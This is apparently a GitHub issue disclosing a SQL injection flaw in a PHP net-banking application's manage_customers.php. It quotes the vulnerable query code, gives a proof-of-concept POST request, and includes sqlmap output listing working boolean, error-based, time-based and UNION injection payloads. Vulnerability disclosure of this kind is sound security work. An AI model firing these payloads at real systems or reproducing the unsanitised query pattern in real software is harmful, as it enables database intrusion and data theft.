New issue

Jump to bottom

Found a vulnerability #12

Open 0clickjacking0 opened this issue on Sep 5 · 0 comments

0clickjacking0 commented on Sep 5

Vulnerability file address

`net-banking/manage_customers.php` from line 11,The `$_POST['search']` parameter is controllable, the parameter search can be passed through post, and the `$search` is not protected from sql injection, line 70 `$result = $conn->query($sql0);` made a sql query,resulting in sql injection

```
......
......
......
    if (isset($_POST['submit'])) {
        $back_button = TRUE;
        $search = $_POST['search'];
        $by = $_POST['by'];

        if ($by == "name") {
            $sql0 = "SELECT cust_id, first_name, last_name, account_no FROM customer
            WHERE first_name LIKE '%".$search."%' OR last_name LIKE '%".$search."%'
            OR CONCAT(first_name, ' ', last_name) LIKE '%".$search."%'";
        }
        else {
            $sql0 = "SELECT cust_id, first_name, last_name, account_no FROM customer
            WHERE account_no LIKE '$search'";
        }
    }
......
......
......

        <?php
            $result = $conn->query($sql0);
......
......
......
```

POC

```
POST /net-banking/manage_customers.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 16

submit=&search=' AND (SELECT 4752 FROM (SELECT(SLEEP(5)))giHH)-- gbXY
```

Attack results pictures

```
[10:45:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[10:45:29] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[10:45:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:45:29] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential
) technique found
[10:45:29] [INFO] target URL appears to be UNION injectable with 4 columns
[10:45:30] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[10:45:30] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any
problems during data retrieval
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 165 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: submit=&search=-8740' OR 8938=8938-- uKHk

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: submit=&search=' OR (SELECT 1770 FROM(SELECT COUNT(*),CONCAT(0x716b6b6b71,(SELECT (ELT(1770=1770,1))),0x7171787a71,FLOO
R(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Texm

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: submit=&search=' AND (SELECT 4752 FROM (SELECT(SLEEP(5)))giHH)-- gbXY

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: submit=&search=' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6b6b71,0x735a4e7a6b726b654f6f556a4544676f554a7776757871776a664
3796b765265696f4b4e434a4d44,0x7171787a71),NULL-- -
---
[10:45:54] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.40, Nginx 1.21.2
back-end DBMS: MySQL >= 5.0
[10:45:54] [INFO] fetched data logged to text files under '/Users/xianyu123/.sqlmap/output/www.bank.net'

[*] ending @ 10:45:54 /2022-09-05/
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

---

1 participant